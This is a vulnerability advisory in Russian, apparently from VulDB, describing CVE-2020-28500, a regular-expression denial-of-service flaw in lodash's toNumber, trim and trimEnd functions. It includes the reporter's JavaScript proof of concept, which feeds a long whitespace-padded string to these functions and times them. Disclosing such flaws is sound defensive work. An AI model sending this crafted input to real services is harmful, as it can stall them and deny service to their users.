CVE-2020-28500 in lodash
Сводка
по VulDB • 30.06.2026
Все версии пакета lodash и все версии пакета org.fujion.webjars:lodash уязвимы к атаке типа «Отказ в обслуживании на основе регулярных выражений» (ReDoS) через функции toNumber, trim и trimEnd. Шаги для воспроизведения (предоставлены автором отчета Ли Юанем Чэнем): var lo = require('lodash'); function build_blank (n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0) var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1) var time2 = Date.now(); lo.trimEnd(s) var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2)
If you want to get best quality of vulnerability data, you may have to visit VulDB.